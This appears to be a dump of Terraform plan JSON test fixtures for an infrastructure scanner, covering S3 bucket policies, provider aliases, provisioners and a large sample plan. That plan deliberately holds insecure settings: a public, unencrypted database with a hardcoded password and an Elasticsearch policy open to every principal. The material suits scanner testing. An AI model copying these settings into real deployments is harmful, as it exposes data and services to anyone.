"data.aws_caller_identity.current", "var.analytics_source_account_id" ] }, "variable": { "constant_value": "aws:SourceAccount" } }, { "test": { "constant_value": "StringEquals" }, "values": { "constant_value": [ "bucket-owner-full-control" ] }, "variable": { "constant_value": "s3:x-amz-acl" } } ], "effect": { "constant_value": "Allow" }, "principals": [ { "identifiers": { "constant_value": [ "s3.amazonaws.com" ] }, "type": { "constant_value": "Service" } } ], "resources": { "references": [ "aws_s3_bucket.this[0].arn", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "sid": { "constant_value": "destinationInventoryAndAnalyticsPolicy" } } ] }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.attach_inventory_destination_policy", "var.attach_analytics_destination_policy" ] } }, { "address": "data.aws_iam_policy_document.lb_log_delivery", "mode": "data", "type": "aws_iam_policy_document", "name": "lb_log_delivery", "provider_config_key": "s3-bucket:aws", "expressions": { "statement": [ { "actions": { "constant_value": [ "s3:PutObject" ] }, "condition": [ { "test": { "constant_value": "StringEquals" }, "values": { "constant_value": [ "bucket-owner-full-control" ] }, "variable": { "constant_value": "s3:x-amz-acl" } } ], "effect": { "constant_value": "Allow" }, "principals": [ { "identifiers": { "constant_value": [ "delivery.logs.amazonaws.com" ] }, "type": { "constant_value": "Service" } } ], "resources": { "references": [ "aws_s3_bucket.this[0].arn", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "sid": { "constant_value": "AWSLogDeliveryWrite" } }, { "actions": { "constant_value": [ "s3:GetBucketAcl", "s3:ListBucket" ] }, "effect": { "constant_value": "Allow" }, "principals": [ { "identifiers": { "constant_value": [ "delivery.logs.amazonaws.com" ] }, "type": { "constant_value": "Service" } } ], "resources": { "references": [ "aws_s3_bucket.this[0].arn", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "sid": { "constant_value": "AWSLogDeliveryAclCheck" } } ] }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.attach_lb_log_delivery_policy" ] } }, { "address": "data.aws_iam_policy_document.require_latest_tls", "mode": "data", "type": "aws_iam_policy_document", "name": "require_latest_tls", "provider_config_key": "s3-bucket:aws", "expressions": { "statement": [ { "actions": { "constant_value": [ "s3:*" ] }, "condition": [ { "test": { "constant_value": "NumericLessThan" }, "values": { "constant_value": [ "1.2" ] }, "variable": { "constant_value": "s3:TlsVersion" } } ], "effect": { "constant_value": "Deny" }, "principals": [ { "identifiers": { "constant_value": [ "*" ] }, "type": { "constant_value": "*" } } ], "resources": { "references": [ "aws_s3_bucket.this[0].arn", "aws_s3_bucket.this[0]", "aws_s3_bucket.this", "aws_s3_bucket.this[0].arn", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "sid": { "constant_value": "denyOutdatedTLS" } } ] }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.attach_require_latest_tls_policy" ] } }, { "address": "data.aws_partition.current", "mode": "data", "type": "aws_partition", "name": "current", "provider_config_key": "s3-bucket:aws", "schema_version": 0 }, { "address": "data.aws_region.current", "mode": "data", "type": "aws_region", "name": "current", "provider_config_key": "s3-bucket:aws", "schema_version": 0 } ], "variables": { "acceleration_status": { "default": null, "description": "(Optional) Sets the accelerate configuration of an existing bucket. Can be Enabled or Suspended." }, "access_log_delivery_policy_source_accounts": { "default": [], "description": "(Optional) List of AWS Account IDs should be allowed to deliver access logs to this bucket." }, "access_log_delivery_policy_source_buckets": { "default": [], "description": "(Optional) List of S3 bucket ARNs wich should be allowed to deliver access logs to this bucket." }, "acl": { "default": null, "description": "(Optional) The canned ACL to apply. Conflicts with `grant`" }, "allowed_kms_key_arn": { "default": null, "description": "The ARN of KMS key which should be allowed in PutObject" }, "analytics_configuration": { "default": {}, "description": "Map containing bucket analytics configuration." }, "analytics_self_source_destination": { "default": false, "description": "Whether or not the analytics source bucket is also the destination bucket." }, "analytics_source_account_id": { "default": null, "description": "The analytics source account id." }, "analytics_source_bucket_arn": { "default": null, "description": "The analytics source bucket ARN." }, "attach_access_log_delivery_policy": { "default": false, "description": "Controls if S3 bucket should have S3 access log delivery policy attached" }, "attach_analytics_destination_policy": { "default": false, "description": "Controls if S3 bucket should have bucket analytics destination policy attached." }, "attach_deny_incorrect_encryption_headers": { "default": false, "description": "Controls if S3 bucket should deny incorrect encryption headers policy attached." }, "attach_deny_incorrect_kms_key_sse": { "default": false, "description": "Controls if S3 bucket policy should deny usage of incorrect KMS key SSE." }, "attach_deny_insecure_transport_policy": { "default": false, "description": "Controls if S3 bucket should have deny non-SSL transport policy attached" }, "attach_deny_unencrypted_object_uploads": { "default": false, "description": "Controls if S3 bucket should deny unencrypted object uploads policy attached." }, "attach_elb_log_delivery_policy": { "default": false, "description": "Controls if S3 bucket should have ELB log delivery policy attached" }, "attach_inventory_destination_policy": { "default": false, "description": "Controls if S3 bucket should have bucket inventory destination policy attached." }, "attach_lb_log_delivery_policy": { "default": false, "description": "Controls if S3 bucket should have ALB/NLB log delivery policy attached" }, "attach_policy": { "default": false, "description": "Controls if S3 bucket should have bucket policy attached (set to `true` to use value of `policy` as bucket policy)" }, "attach_public_policy": { "default": true, "description": "Controls if a user defined public bucket policy will be attached (set to `false` to allow upstream to apply defaults to the bucket)" }, "attach_require_latest_tls_policy": { "default": false, "description": "Controls if S3 bucket should require the latest version of TLS" }, "block_public_acls": { "default": true, "description": "Whether Amazon S3 should block public ACLs for this bucket." }, "block_public_policy": { "default": true, "description": "Whether Amazon S3 should block public bucket policies for this bucket." }, "bucket": { "default": null, "description": "(Optional, Forces new resource) The name of the bucket. If omitted, Terraform will assign a random, unique name." }, "bucket_prefix": { "default": null, "description": "(Optional, Forces new resource) Creates a unique bucket name beginning with the specified prefix. Conflicts with bucket." }, "control_object_ownership": { "default": false, "description": "Whether to manage S3 Bucket Ownership Controls on this bucket." }, "cors_rule": { "default": [], "description": "List of maps containing rules for Cross-Origin Resource Sharing." }, "create_bucket": { "default": true, "description": "Controls if S3 bucket should be created" }, "expected_bucket_owner": { "default": null, "description": "The account ID of the expected bucket owner" }, "force_destroy": { "default": false, "description": "(Optional, Default:false ) A boolean that indicates all objects should be deleted from the bucket so that the bucket can be destroyed without error. These objects are not recoverable." }, "grant": { "default": [], "description": "An ACL policy grant. Conflicts with `acl`" }, "ignore_public_acls": { "default": true, "description": "Whether Amazon S3 should ignore public ACLs for this bucket." }, "intelligent_tiering": { "default": {}, "description": "Map containing intelligent tiering configuration." }, "inventory_configuration": { "default": {}, "description": "Map containing S3 inventory configuration." }, "inventory_self_source_destination": { "default": false, "description": "Whether or not the inventory source bucket is also the destination bucket." }, "inventory_source_account_id": { "default": null, "description": "The inventory source account id." }, "inventory_source_bucket_arn": { "default": null, "description": "The inventory source bucket ARN." }, "lifecycle_rule": { "default": [], "description": "List of maps containing configuration of object lifecycle management." }, "logging": { "default": {}, "description": "Map containing access bucket logging configuration." }, "metric_configuration": { "default": [], "description": "Map containing bucket metric configuration." }, "object_lock_configuration": { "default": {}, "description": "Map containing S3 object locking configuration." }, "object_lock_enabled": { "default": false, "description": "Whether S3 bucket should have an Object Lock configuration enabled." }, "object_ownership": { "default": "BucketOwnerEnforced", "description": "Object ownership. Valid values: BucketOwnerEnforced, BucketOwnerPreferred or ObjectWriter. 'BucketOwnerEnforced': ACLs are disabled, and the bucket owner automatically owns and has full control over every object in the bucket. 'BucketOwnerPreferred': Objects uploaded to the bucket change ownership to the bucket owner if the objects are uploaded with the bucket-owner-full-control canned ACL. 'ObjectWriter': The uploading account will own the object if the object is uploaded with the bucket-owner-full-control canned ACL." }, "owner": { "default": {}, "description": "Bucket owner's display name and ID. Conflicts with `acl`" }, "policy": { "default": null, "description": "(Optional) A valid bucket policy JSON document. Note that if the policy document is not specific enough (but still valid), Terraform may view the policy as constantly changing in a terraform plan. In this case, please make sure you use the verbose/specific version of the policy. For more information about building AWS IAM policy documents with Terraform, see the AWS IAM Policy Document Guide." }, "replication_configuration": { "default": {}, "description": "Map containing cross-region replication configuration." }, "request_payer": { "default": null, "description": "(Optional) Specifies who should bear the cost of Amazon S3 data transfer. Can be either BucketOwner or Requester. By default, the owner of the S3 bucket would incur the costs of any data transfer. See Requester Pays Buckets developer guide for more information." }, "restrict_public_buckets": { "default": true, "description": "Whether Amazon S3 should restrict public bucket policies for this bucket." }, "server_side_encryption_configuration": { "default": {}, "description": "Map containing server-side encryption configuration." }, "tags": { "default": {}, "description": "(Optional) A mapping of tags to assign to the bucket." }, "versioning": { "default": {}, "description": "Map containing versioning configuration." }, "website": { "default": {}, "description": "Map containing static web-site hosting or redirect configuration." } } }, "version_constraint": "4.0.1" } } } } } ================================================ FILE: tests/terraform/parser/resources/plan_multiple_providers/multiple_providers.tf ================================================ provider "aws" { region = "us-east-1" } provider "aws" { region = "us-east-2" alias = "ohio" } provider "aws" { region = "us-west-2" alias = "oregon" } ================================================ FILE: tests/terraform/parser/resources/plan_multiple_providers/tfplan.json ================================================ {"format_version":"1.2","terraform_version":"1.10.5","planned_values":{"root_module":{}},"configuration":{"provider_config":{"aws":{"name":"aws","full_name":"registry.terraform.io/hashicorp/aws","expressions":{"region":{"constant_value":"us-east-1"}}},"aws.ohio":{"name":"aws","full_name":"registry.terraform.io/hashicorp/aws","alias":"ohio","expressions":{"region":{"constant_value":"us-east-2"}}},"aws.oregon":{"name":"aws","full_name":"registry.terraform.io/hashicorp/aws","alias":"oregon","expressions":{"region":{"constant_value":"us-west-2"}}}},"root_module":{}},"timestamp":"2025-03-19T18:18:14Z","applyable":false,"complete":true,"errored":false} ================================================ FILE: tests/terraform/parser/resources/plan_provisioners/tfplan.json ================================================ { "format_version": "1.2", "terraform_version": "1.5.7", "planned_values": { "root_module": { "resources": [ { "address": "aws_instance.web", "mode": "managed", "type": "aws_instance", "name": "web", "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 1, "values": { "ami": "ami-09a5b0b7edf08843d", "credit_specification": [], "get_password_data": false, "hibernation": null, "instance_type": "t3.micro", "launch_template": [], "source_dest_check": true, "tags": { "Name": "HelloWorld" }, "tags_all": { "Name": "HelloWorld" }, "timeouts": null, "user_data_replace_on_change": false, "volume_tags": null }, "sensitive_values": { "capacity_reservation_specification": [], "cpu_options": [], "credit_specification": [], "ebs_block_device": [], "enclave_options": [], "ephemeral_block_device": [], "instance_market_options": [], "ipv6_addresses": [], "launch_template": [], "maintenance_options": [], "metadata_options": [], "network_interface": [], "private_dns_name_options": [], "root_block_device": [], "secondary_private_ips": [], "security_groups": [], "tags": {}, "tags_all": {}, "vpc_security_group_ids": [] } } ] } }, "resource_changes": [ { "address": "aws_instance.web", "mode": "managed", "type": "aws_instance", "name": "web", "provider_name": "registry.terraform.io/hashicorp/aws", "change": { "actions": [ "create" ], "before": null, "after": { "ami": "ami-09a5b0b7edf08843d", "credit_specification": [], "get_password_data": false, "hibernation": null, "instance_type": "t3.micro", "launch_template": [], "source_dest_check": true, "tags": { "Name": "HelloWorld" }, "tags_all": { "Name": "HelloWorld" }, "timeouts": null, "user_data_replace_on_change": false, "volume_tags": null }, "after_unknown": { "arn": true, "associate_public_ip_address": true, "availability_zone": true, "capacity_reservation_specification": true, "cpu_core_count": true, "cpu_options": true, "cpu_threads_per_core": true, "credit_specification": [], "disable_api_stop": true, "disable_api_termination": true, "ebs_block_device": true, "ebs_optimized": true, "enclave_options": true, "ephemeral_block_device": true, "host_id": true, "host_resource_group_arn": true, "iam_instance_profile": true, "id": true, "instance_initiated_shutdown_behavior": true, "instance_lifecycle": true, "instance_market_options": true, "instance_state": true, "ipv6_address_count": true, "ipv6_addresses": true, "key_name": true, "launch_template": [], "maintenance_options": true, "metadata_options": true, "monitoring": true, "network_interface": true, "outpost_arn": true, "password_data": true, "placement_group": true, "placement_partition_number": true, "primary_network_interface_id": true, "private_dns": true, "private_dns_name_options": true, "private_ip": true, "public_dns": true, "public_ip": true, "root_block_device": true, "secondary_private_ips": true, "security_groups": true, "spot_instance_request_id": true, "subnet_id": true, "tags": {}, "tags_all": {}, "tenancy": true, "user_data": true, "user_data_base64": true, "vpc_security_group_ids": true }, "before_sensitive": false, "after_sensitive": { "capacity_reservation_specification": [], "cpu_options": [], "credit_specification": [], "ebs_block_device": [], "enclave_options": [], "ephemeral_block_device": [], "instance_market_options": [], "ipv6_addresses": [], "launch_template": [], "maintenance_options": [], "metadata_options": [], "network_interface": [], "private_dns_name_options": [], "root_block_device": [], "secondary_private_ips": [], "security_groups": [], "tags": {}, "tags_all": {}, "vpc_security_group_ids": [] } } } ], "configuration": { "provider_config": { "aws": { "name": "aws", "full_name": "registry.terraform.io/hashicorp/aws", "expressions": { "access_key": { "constant_value": "mock_access_key" }, "region": { "constant_value": "us-west-1" }, "secret_key": { "constant_value": "mock_secret_key" }, "skip_credentials_validation": { "constant_value": true }, "skip_metadata_api_check": { "constant_value": true }, "skip_requesting_account_id": { "constant_value": true } } } }, "root_module": { "resources": [ { "address": "aws_instance.web", "mode": "managed", "type": "aws_instance", "name": "web", "provider_config_key": "aws", "provisioners": [ { "type": "local-exec", "expressions": { "command": { "constant_value": "open WFH, '>completed.txt' and print WFH scalar localtime" }, "interpreter": { "constant_value": [ "perl", "-e" ] } } } ], "expressions": { "ami": { "constant_value": "ami-09a5b0b7edf08843d" }, "instance_type": { "constant_value": "t3.micro" }, "tags": { "constant_value": { "Name": "HelloWorld" } } }, "schema_version": 1 } ] } }, "timestamp": "2024-07-26T05:47:45Z" } ================================================ FILE: tests/terraform/parser/resources/plan_provisioners/tfplan2.json ================================================ { "format_version": "1.2", "terraform_version": "1.5.7", "planned_values": { "root_module": { "resources": [ { "address": "aws_instance.web", "mode": "managed", "type": "aws_instance", "name": "web", "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 1, "values": { "ami": "ami-09a5b0b7edf08843d", "credit_specification": [], "get_password_data": false, "hibernation": null, "instance_type": "t3.micro", "launch_template": [], "source_dest_check": true, "tags": { "Name": "HelloWorld" }, "tags_all": { "Name": "HelloWorld" }, "timeouts": null, "user_data_replace_on_change": false, "volume_tags": null }, "sensitive_values": { "capacity_reservation_specification": [], "cpu_options": [], "credit_specification": [], "ebs_block_device": [], "enclave_options": [], "ephemeral_block_device": [], "instance_market_options": [], "ipv6_addresses": [], "launch_template": [], "maintenance_options": [], "metadata_options": [], "network_interface": [], "private_dns_name_options": [], "root_block_device": [], "secondary_private_ips": [], "security_groups": [], "tags": {}, "tags_all": {}, "vpc_security_group_ids": [] } } ] } }, "resource_changes": [ { "address": "aws_instance.web", "mode": "managed", "type": "aws_instance", "name": "web", "provider_name": "registry.terraform.io/hashicorp/aws", "change": { "actions": [ "create" ], "before": null, "after": { "ami": "ami-09a5b0b7edf08843d", "credit_specification": [], "get_password_data": false, "hibernation": null, "instance_type": "t3.micro", "launch_template": [], "source_dest_check": true, "tags": { "Name": "HelloWorld" }, "tags_all": { "Name": "HelloWorld" }, "timeouts": null, "user_data_replace_on_change": false, "volume_tags": null }, "after_unknown": { "arn": true, "associate_public_ip_address": true, "availability_zone": true, "capacity_reservation_specification": true, "cpu_core_count": true, "cpu_options": true, "cpu_threads_per_core": true, "credit_specification": [], "disable_api_stop": true, "disable_api_termination": true, "ebs_block_device": true, "ebs_optimized": true, "enclave_options": true, "ephemeral_block_device": true, "host_id": true, "host_resource_group_arn": true, "iam_instance_profile": true, "id": true, "instance_initiated_shutdown_behavior": true, "instance_lifecycle": true, "instance_market_options": true, "instance_state": true, "ipv6_address_count": true, "ipv6_addresses": true, "key_name": true, "launch_template": [], "maintenance_options": true, "metadata_options": true, "monitoring": true, "network_interface": true, "outpost_arn": true, "password_data": true, "placement_group": true, "placement_partition_number": true, "primary_network_interface_id": true, "private_dns": true, "private_dns_name_options": true, "private_ip": true, "public_dns": true, "public_ip": true, "root_block_device": true, "secondary_private_ips": true, "security_groups": true, "spot_instance_request_id": true, "subnet_id": true, "tags": {}, "tags_all": {}, "tenancy": true, "user_data": true, "user_data_base64": true, "vpc_security_group_ids": true }, "before_sensitive": false, "after_sensitive": { "capacity_reservation_specification": [], "cpu_options": [], "credit_specification": [], "ebs_block_device": [], "enclave_options": [], "ephemeral_block_device": [], "instance_market_options": [], "ipv6_addresses": [], "launch_template": [], "maintenance_options": [], "metadata_options": [], "network_interface": [], "private_dns_name_options": [], "root_block_device": [], "secondary_private_ips": [], "security_groups": [], "tags": {}, "tags_all": {}, "vpc_security_group_ids": [] } } } ], "configuration": { "provider_config": { "aws": { "name": "aws", "full_name": "registry.terraform.io/hashicorp/aws", "expressions": { "access_key": { "constant_value": "mock_access_key" }, "region": { "constant_value": "us-west-1" }, "secret_key": { "constant_value": "mock_secret_key" }, "skip_credentials_validation": { "constant_value": true }, "skip_metadata_api_check": { "constant_value": true }, "skip_requesting_account_id": { "constant_value": true } } } }, "root_module": { "resources": [ { "address": "aws_instance.web", "mode": "managed", "type": "aws_instance", "name": "web", "provider_config_key": "aws", "provisioners": [ { "type": "file", "expressions": { "destination": { "constant_value": "/tmp/script.sh" }, "source": { "constant_value": "script.sh" } } }, { "type": "remote-exec", "expressions": { "inline": { "constant_value": [ "chmod +x /tmp/script.sh", "/tmp/script.sh args" ] } } } ], "expressions": { "ami": { "constant_value": "ami-09a5b0b7edf08843d" }, "instance_type": { "constant_value": "t3.micro" }, "tags": { "constant_value": { "Name": "HelloWorld" } } }, "schema_version": 1 } ] } }, "timestamp": "2024-07-26T05:10:57Z" } ================================================ FILE: tests/terraform/parser/resources/plan_tags/tfplan.json ================================================ { "format_version": "0.1", "terraform_version": "0.12.23", "variables": { "ami": { "value": "ami-09a5b0b7edf08843d" }, "availability_zone": { "value": "us-west-2a" }, "availability_zone2": { "value": "us-west-2b" }, "company_name": { "value": "acme" }, "dbname": { "value": "db1" }, "environment": { "value": "corp" }, "neptune-dbname": { "value": "neptunedb1" }, "password": { "value": "Aa1234321Bb" }, "profile": { "value": "default" }, "region": { "value": "us-west-2" } }, "planned_values": { "outputs": { "db_app_public_dns": { "sensitive": false }, "db_endpoint": { "sensitive": false }, "ec2_public_dns": { "sensitive": false }, "endpoint": { "sensitive": false }, "kubeconfig-certificate-authority-data": { "sensitive": false }, "public_subnet": { "sensitive": false }, "public_subnet2": { "sensitive": false }, "secret": { "sensitive": false }, "username": { "sensitive": false, "value": "123456789123-acme-corp-user" }, "vpc_id": { "sensitive": false } }, "root_module": { "resources": [ { "address": "aws_db_instance.default", "mode": "managed", "type": "aws_db_instance", "name": "default", "provider_name": "aws", "schema_version": 1, "values": { "allocated_storage": 20, "allow_major_version_upgrade": null, "apply_immediately": true, "auto_minor_version_upgrade": true, "backup_retention_period": 0, "copy_tags_to_snapshot": false, "db_subnet_group_name": "sg-123456789123-acme-corp", "delete_automated_backups": true, "deletion_protection": null, "domain": null, "domain_iam_role_name": null, "enabled_cloudwatch_logs_exports": null, "engine": "mysql", "engine_version": "8.0", "final_snapshot_identifier": null, "iam_database_authentication_enabled": null, "identifier": "rds-123456789123-acme-corp", "instance_class": "db.t3.micro", "iops": null, "max_allocated_storage": null, "monitoring_interval": 0, "multi_az": false, "name": "db1", "option_group_name": "og-123456789123-acme-corp", "parameter_group_name": "pg-123456789123-acme-corp", "password": "Aa1234321Bb", "performance_insights_enabled": false, "publicly_accessible": true, "replicate_source_db": null, "s3_import": [], "security_group_names": null, "skip_final_snapshot": true, "snapshot_identifier": null, "storage_encrypted": false, "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-rds" }, "timeouts": null, "username": "admin" } } ] } }, "resource_changes": [ { "address": "aws_db_instance.default", "mode": "managed", "type": "aws_db_instance", "name": "default", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "allocated_storage": 20, "allow_major_version_upgrade": null, "apply_immediately": true, "auto_minor_version_upgrade": true, "backup_retention_period": 0, "copy_tags_to_snapshot": false, "db_subnet_group_name": "sg-123456789123-acme-corp", "delete_automated_backups": true, "deletion_protection": null, "domain": null, "domain_iam_role_name": null, "enabled_cloudwatch_logs_exports": null, "engine": "mysql", "engine_version": "8.0", "final_snapshot_identifier": null, "iam_database_authentication_enabled": null, "identifier": "rds-123456789123-acme-corp", "instance_class": "db.t3.micro", "iops": null, "max_allocated_storage": null, "monitoring_interval": 0, "multi_az": false, "name": "db1", "option_group_name": "og-123456789123-acme-corp", "parameter_group_name": "pg-123456789123-acme-corp", "password": "Aa1234321Bb", "performance_insights_enabled": false, "publicly_accessible": true, "replicate_source_db": null, "s3_import": [], "security_group_names": null, "skip_final_snapshot": true, "snapshot_identifier": null, "storage_encrypted": false, "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-rds" }, "timeouts": null, "username": "admin" }, "after_unknown": { "address": true, "arn": true, "availability_zone": true, "backup_window": true, "ca_cert_identifier": true, "character_set_name": true, "endpoint": true, "hosted_zone_id": true, "id": true, "identifier_prefix": true, "kms_key_id": true, "license_model": true, "maintenance_window": true, "monitoring_role_arn": true, "performance_insights_kms_key_id": true, "performance_insights_retention_period": true, "port": true, "replicas": true, "resource_id": true, "s3_import": [], "status": true, "storage_type": true, "tags": {}, "timezone": true, "vpc_security_group_ids": true } } }, { "address": "aws_db_option_group.default", "mode": "managed", "type": "aws_db_option_group", "name": "default", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "engine_name": "mysql", "major_engine_version": "8.0", "name": "og-123456789123-acme-corp", "option": [], "option_group_description": "Terraform OG", "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-og" }, "timeouts": null }, "after_unknown": { "arn": true, "id": true, "name_prefix": true, "option": [], "tags": {} } } }, { "address": "aws_db_parameter_group.default", "mode": "managed", "type": "aws_db_parameter_group", "name": "default", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "description": "Terraform PG", "family": "mysql8.0", "name": "pg-123456789123-acme-corp", "parameter": [ { "apply_method": "immediate", "name": "character_set_client", "value": "utf8" }, { "apply_method": "immediate", "name": "character_set_server", "value": "utf8" } ], "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-pg" } }, "after_unknown": { "arn": true, "id": true, "name_prefix": true, "parameter": [ {}, {} ], "tags": {} } } }, { "address": "aws_db_subnet_group.default", "mode": "managed", "type": "aws_db_subnet_group", "name": "default", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "description": "Terraform DB Subnet Group", "name": "sg-123456789123-acme-corp", "tags": { "Environment": "123456789123-acme-corp", "Name": "sg-123456789123-acme-corp" } }, "after_unknown": { "arn": true, "id": true, "name_prefix": true, "subnet_ids": true, "tags": {} } } }, { "address": "aws_ebs_snapshot.example_snapshot", "mode": "managed", "type": "aws_ebs_snapshot", "name": "example_snapshot", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "description": "123456789123-acme-corp-ebs-snapshot", "tags": { "Name": "123456789123-acme-corp-ebs-snapshot" }, "timeouts": null }, "after_unknown": { "arn": true, "data_encryption_key_id": true, "encrypted": true, "id": true, "kms_key_id": true, "owner_alias": true, "owner_id": true, "tags": {}, "volume_id": true, "volume_size": true } } }, { "address": "aws_ebs_volume.web_host_storage", "mode": "managed", "type": "aws_ebs_volume", "name": "web_host_storage", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "availability_zone": "us-west-2a", "multi_attach_enabled": null, "outpost_arn": null, "size": 1, "tags": { "Name": "123456789123-acme-corp-ebs" } }, "after_unknown": { "arn": true, "encrypted": true, "id": true, "iops": true, "kms_key_id": true, "snapshot_id": true, "tags": {}, "type": true } } }, { "address": "aws_ecr_repository.repository", "mode": "managed", "type": "aws_ecr_repository", "name": "repository", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "encryption_configuration": [], "image_scanning_configuration": [], "image_tag_mutability": "MUTABLE", "name": "123456789123-acme-corp-repository", "tags": { "Name": "123456789123-acme-corp-repository" }, "timeouts": null }, "after_unknown": { "arn": true, "encryption_configuration": [], "id": true, "image_scanning_configuration": [], "registry_id": true, "repository_url": true, "tags": {} } } }, { "address": "aws_eks_cluster.eks_cluster", "mode": "managed", "type": "aws_eks_cluster", "name": "eks_cluster", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "enabled_cluster_log_types": null, "encryption_config": [], "name": "123456789123-acme-corp-eks", "tags": null, "timeouts": null, "vpc_config": [ { "endpoint_private_access": true, "endpoint_public_access": true, "security_group_ids": null } ] }, "after_unknown": { "arn": true, "certificate_authority": true, "created_at": true, "encryption_config": [], "endpoint": true, "id": true, "identity": true, "platform_version": true, "role_arn": true, "status": true, "version": true, "vpc_config": [ { "cluster_security_group_id": true, "public_access_cidrs": true, "subnet_ids": true, "vpc_id": true } ] } } }, { "address": "aws_elasticsearch_domain.monitoring-framework", "mode": "managed", "type": "aws_elasticsearch_domain", "name": "monitoring-framework", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "cluster_config": [ { "dedicated_master_count": null, "dedicated_master_enabled": false, "dedicated_master_type": null, "instance_count": 1, "instance_type": "t2.small.elasticsearch", "warm_count": null, "warm_enabled": null, "warm_type": null, "zone_awareness_config": [], "zone_awareness_enabled": null } ], "cognito_options": [], "domain_name": "tg-corp-es", "ebs_options": [ { "ebs_enabled": true, "iops": null, "volume_size": 30 } ], "elasticsearch_version": "2.3", "log_publishing_options": [], "snapshot_options": [], "tags": null, "timeouts": null, "vpc_options": [] }, "after_unknown": { "access_policies": true, "advanced_options": true, "advanced_security_options": true, "arn": true, "cluster_config": [ { "zone_awareness_config": [] } ], "cognito_options": [], "domain_endpoint_options": true, "domain_id": true, "ebs_options": [ { "volume_type": true } ], "encrypt_at_rest": true, "endpoint": true, "id": true, "kibana_endpoint": true, "log_publishing_options": [], "node_to_node_encryption": true, "snapshot_options": [], "vpc_options": [] } } }, { "address": "aws_elasticsearch_domain_policy.monitoring-framework-policy", "mode": "managed", "type": "aws_elasticsearch_domain_policy", "name": "monitoring-framework-policy", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "access_policies": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Sid\": \"\",\n \"Effect\": \"Allow\",\n \"Action\": \"es:*\",\n \"Resource\": \"*\",\n \"Principal\": {\n \"AWS\": \"*\"\n }\n }\n ]\n}", "domain_name": "tg-corp-es" }, "after_unknown": { "id": true } } }, { "address": "aws_elb.weblb", "mode": "managed", "type": "aws_elb", "name": "weblb", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "access_logs": [], "connection_draining": true, "connection_draining_timeout": 400, "cross_zone_load_balancing": true, "health_check": [ { "healthy_threshold": 2, "interval": 30, "target": "HTTP:8000/", "timeout": 3, "unhealthy_threshold": 2 } ], "idle_timeout": 400, "listener": [ { "instance_port": 8000, "instance_protocol": "http", "lb_port": 80, "lb_protocol": "http", "ssl_certificate_id": "" } ], "name": "weblb-terraform-elb", "name_prefix": null, "tags": { "Name": "foobar-terraform-elb" } }, "after_unknown": { "access_logs": [], "arn": true, "availability_zones": true, "dns_name": true, "health_check": [ {} ], "id": true, "instances": true, "internal": true, "listener": [ {} ], "security_groups": true, "source_security_group": true, "source_security_group_id": true, "subnets": true, "tags": {}, "zone_id": true } } }, { "address": "aws_flow_log.vpcflowlogs", "mode": "managed", "type": "aws_flow_log", "name": "vpcflowlogs", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "eni_id": null, "iam_role_arn": null, "log_destination_type": "s3", "max_aggregation_interval": 600, "subnet_id": null, "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-flowlogs" }, "traffic_type": "ALL" }, "after_unknown": { "arn": true, "id": true, "log_destination": true, "log_format": true, "log_group_name": true, "tags": {}, "vpc_id": true } } }, { "address": "aws_iam_access_key.user", "mode": "managed", "type": "aws_iam_access_key", "name": "user", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "pgp_key": null, "user": "123456789123-acme-corp-user" }, "after_unknown": { "encrypted_secret": true, "id": true, "key_fingerprint": true, "secret": true, "ses_smtp_password_v4": true, "status": true } } }, { "address": "aws_iam_instance_profile.ec2profile", "mode": "managed", "type": "aws_iam_instance_profile", "name": "ec2profile", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "name": "123456789123-acme-corp-profile", "name_prefix": null, "path": "/", "role": "123456789123-acme-corp-role" }, "after_unknown": { "arn": true, "create_date": true, "id": true, "unique_id": true } } }, { "address": "aws_iam_role.ec2role", "mode": "managed", "type": "aws_iam_role", "name": "ec2role", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "assume_role_policy": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Action\": \"sts:AssumeRole\",\n \"Principal\": {\n \"Service\": \"ec2.amazonaws.com\"\n },\n \"Effect\": \"Allow\",\n \"Sid\": \"\"\n }\n ]\n}\n", "description": null, "force_detach_policies": false, "max_session_duration": 3600, "name": "123456789123-acme-corp-role", "name_prefix": null, "path": "/", "permissions_boundary": null, "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-role" } }, "after_unknown": { "arn": true, "create_date": true, "id": true, "tags": {}, "unique_id": true } } }, { "address": "aws_iam_role.iam_for_eks", "mode": "managed", "type": "aws_iam_role", "name": "iam_for_eks", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "assume_role_policy": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Sid\": \"\",\n \"Effect\": \"Allow\",\n \"Action\": \"sts:AssumeRole\",\n \"Principal\": {\n \"Service\": \"eks.amazonaws.com\"\n }\n }\n ]\n}", "description": null, "force_detach_policies": false, "max_session_duration": 3600, "name": "123456789123-acme-corp-iam-for-eks", "name_prefix": null, 